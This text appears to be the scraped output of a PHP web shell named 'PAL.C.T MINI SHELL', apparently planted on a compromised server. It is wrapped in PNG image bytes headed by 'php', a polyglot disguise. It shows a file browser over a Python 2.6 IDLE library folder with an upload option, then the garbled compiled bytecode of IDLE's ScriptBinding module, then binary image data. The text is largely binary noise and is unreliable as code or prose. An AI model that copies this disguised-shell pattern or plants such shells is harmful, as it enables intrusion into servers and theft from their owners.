php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/idlelib/
upload
files >> //usr/lib/python2.6/idlelib/ScriptBinding.pyo

Lc@sdZddkZddkZddkZddkZddkZddkZddklZddk	l
Z
eieidZ
dZdd	dYZdS(
s?Extension to execute code outside the Python shell window.

This adds the following commands:

- Check module does a full syntax check of the current module.
  It also runs the tabnanny to catch any inconsistent tabs.

- Run module executes the module's code in the __main__ namespace.  The window
  must have been saved previously. The module is added to sys.modules, and is
  also added to the __main__ namespace.

XXX GvR Redesign this interface (yet again) as follows:

- Present a dialog box for ``Run Module''

- Allow specify command line arguments in the dialog box

iN(tPyShell(tidleConft_s/Error: Inconsistent indentation detected!

1) Your indentation is outright incorrect (easy to fix), OR

2) Your indentation mixes tabs and spaces.

To fix case 2, change all tabs to spaces by using Edit->Select All followed by Format->Untabify Region and specify the number of columns used by each tab.
t
ScriptBindingcBsqeZddddgfgZdZdZdZdZd	Zd
Z	dZ
dZd
ZRS(trunsCheck Modules<<check-module>>s
Run Modules<<run-module>>cCs+||_|ii|_|ii|_dS(N(teditwintflisttroot(tselfR((s+/usr/lib/python2.6/idlelib/ScriptBinding.pyt__init__1s	cCsF|i}|pdS|i|pdS|i|pdSdS(Ntbreak(tgetfilenametchecksyntaxttabnanny(Rteventtfilename((s+/usr/lib/python2.6/idlelib/ScriptBinding.pytcheck_module_event8scCst|d}ytiti|iWntij
o@}|\}\}}|ii||i	dd|t
Stij
o0}|ii|i|i	dt
t
SXtS(NtrsTabnanny Tokenizing ErrorsToken Error: %ssTab/space error(topenR
tprocess_tokensttokenizetgenerate_tokenstreadlinet
TokenErrorRtgotolineterrorboxtFalsetNannyNagt
get_linenotindent_messagetTrue(RRtftmsgtmsgtxttlinenotstarttnag((s+/usr/lib/python2.6/idlelib/ScriptBinding.pyR
As	c
Cs|ii|_}|i}|i|it|d}|i}|id|jo.t	i
dd|}t	i
dd|}n|o|ddjo|d}n|ii}|i
ddd	zyt||d
SWnttfj
o}y^|\}\}	}
}}|	p(|||
||ff|_||_n|i||
|Wndt|}nX|idd
|tSXWd|i|XdS(NRs
s\r\ns
s\ritERRORs1.0tendtexecs*** sSyntax errors"There's an error in your program:
(Rt
open_shelltshelltget_warning_streamtset_warning_streamtstderrRtreadtclosetretsubRttextt
tag_removetcompiletSyntaxErrort
OverflowErrortargsRtcolorize_syntax_errortstrRR(
RRR)tsaved_streamRtsourceR1terrR t
errorfilenameR"toffsettline((s+/usr/lib/python2.6/idlelib/ScriptBinding.pyRRs:


	
cCs|ii}d|d|df}|id||i|}|o(|tjo|id|d|nd|i|jo|id|n|id|d|i|dS(Ns0.0 + %d lines + %d charsiR%s
 wordstarts
tinserts+1c(RR1ttag_addtgett
IDENTCHARStmark_settsee(RR R"R=R1tpostchar((s+/usr/lib/python2.6/idlelib/ScriptBinding.pyR7sscCs|i}|pdS|i|}|pdS|i|pdS|i}|i}tio|inti	i
|}|id||f|i||i
|dS(sYRun the module after setting up the environment.

        First check the syntax.  If OK, make sure the shell is active and
        then transfer the arguments, set the run environment's working
        directory to the directory of the module being executed and also
        add that directory to its sys.path if not already included.

        R
suif 1:
            _filename = %r
            import sys as _sys
            from os.path import basename as _basename
            if (not _sys.argv or
                _basename(_sys.argv[0]) != _basename(_filename)):
                _sys.argv = [_filename]
            import os as _os
            _os.chdir(%r)
            del _filename, _sys, _basename, _os
            
(RRR
R)tinterpRtuse_subprocesst
restart_shelltostpathtdirnamet
runcommandtprepend_syspathtruncode(RRRtcodeR)RGRL((s+/usr/lib/python2.6/idlelib/ScriptBinding.pytrun_module_events$			



cCs|iii}|iiptiddddd}|o|o|iiidq|i}|ii	i
|djo&|iiid|iii}qd}n|S(sGet source filename.  If not saved, offer to save (or create) file

        The debugger requires a source file.  Make sure there is one, and that
        the current version of the source buffer has been saved.  If the user
        declines to save or cancels the Save As dialog, return None.

        If the user has configured IDLE for Autosave, the file will be
        silently saved if it already exists and is dirty.

        tmaintGeneraltautosavettypetbooltokN(RtioRt	get_savedRt	GetOptiontsavetNonetask_save_dialogR1t	focus_set(RRRTtreply((s+/usr/lib/python2.6/idlelib/ScriptBinding.pyRs

c
CsWddd}tiddd|dtid	tid
tid|ii}|iS(
NsSource Must Be Saved
it sOK to Save?ttitlesSave Before Run or ChecktmessageticonRUtdefaulttmasters     (ttkMessageBoxtMessagetQUESTIONtOKCANCELtOKRR1tshow(RR tmb((s+/usr/lib/python2.6/idlelib/ScriptBinding.pyR]s			cCs0ti||d|ii|iiidS(NRe(Rft	showerrorRR1R^(RRaRb((s+/usr/lib/python2.6/idlelib/ScriptBinding.pyRsN(sCheck Modules<<check-module>>(s
Run Modules<<run-module>>(
t__name__t
__module__R\tmenudefsR	RR
RR7RQRR]R(((s+/usr/lib/python2.6/idlelib/ScriptBinding.pyR*s					!	
	)		
((t__doc__RJR/tstringR
RRftidlelibRtidlelib.configHandlerRt
ascii_letterstdigitsRBRR(((s+/usr/lib/python2.6/idlelib/ScriptBinding.pyt<module>s

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`